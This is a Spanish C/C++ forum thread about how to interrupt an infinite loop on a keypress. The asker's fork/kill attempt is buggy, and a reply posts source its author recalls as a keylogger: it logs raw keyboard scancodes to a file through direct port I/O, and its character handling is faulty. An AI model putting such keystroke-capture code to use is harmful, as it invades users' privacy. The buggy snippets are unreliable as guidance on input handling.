Test Foro de elhacker.net SMF 2.1

Programación => Programación C/C++ => Mensaje iniciado por: soyloqbuskas en 22 Agosto 2012, 22:22 PM

Título: Bucle infinito interumpible
Publicado por: soyloqbuskas en 22 Agosto 2012, 22:22 PM
¡Buenas a todos!

Estoy haciendo una funcion que tiene un bucle que se debe poder para cuando pulse 'q', pero....que no se pare si no he pulsado la letra....Y es que si lo hago con un getchar(); el bucle se para a cada iteracion asi que no me vale....

¿Alguna idea?

Gracias, un saludo.
Título: Re: Bucle infinito interumpible
Publicado por: 0xDani en 23 Agosto 2012, 00:08 AM
Investiga sobre hacer polling al teclado.

Saludos.
Título: Re: Bucle infinito interumpible
Publicado por: soyloqbuskas en 23 Agosto 2012, 00:52 AM
Estoy probando ha hacerlo con procesos....un proceso ejecuta el bucle infinito y el otro un getchar que al leer el caracter correcto mata al otro proceso....

Pero no me termina de funcionar.....¿me podeis hecar un cable?


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(){
        char c='a';
        int pid;
        if ((pid=fork())>0){
                while(1) printf("Presione q para cerrar\n");
        }
        else{
                c=getchar();
                if (c=='q') system("kill 9 pid");
        }
        return 0;
}

Título: Re: Bucle infinito interumpible
Publicado por: 0xDani en 23 Agosto 2012, 01:06 AM
No, ahi no creo que sea aconsejable usar procesos. En serio, la solucion es hacer polling al teclado.
Si trabajas en un sistema tipo Unix(lo que deduzco del hecho de que uses unistd.h), puede que te sirva esto, que creo recordar que era un keylogger.
Código (cpp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#define KB_IO 0X60
#define KB_ST 0x64
#define SLEEP 50

        char key(int code){
     char caracter=code;   
     return caracter;}

        int main(int argc, char **argv) {
                int code = 0;
                int last = 0;
                FILE *file;
                if (!argv[1]) {
                        fprintf(stderr, "%s <file>\n", argv[0]);
                        exit(1);
                }
                if (!(file = fopen(argv[1], "w"))) {
                        fprintf(stderr, "Impossibile scrivere sul file %s\n", argv[1]);//Esto no sale si le pasa un argumento.
                        exit(2);
                }
                if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
                        fprintf(stderr, "Impossibile accedere alla porta di I/O della tastiera\n");//A mi me sale este error.
                        exit(3);                }
                while (1) {
                        code = 0;
                        if (inb(KB_ST) == 20)
                                code = inb(KB_IO);
                        if (code) {
                                if (code != last) {
                                        last = code;
                                        if (key(code)) {
                                                fprintf(file, "%c", key(code));
                                                fflush(file);
                                        }
                                }
                        }
                        usleep(SLEEP);
                }
                return 0;}


Saludos.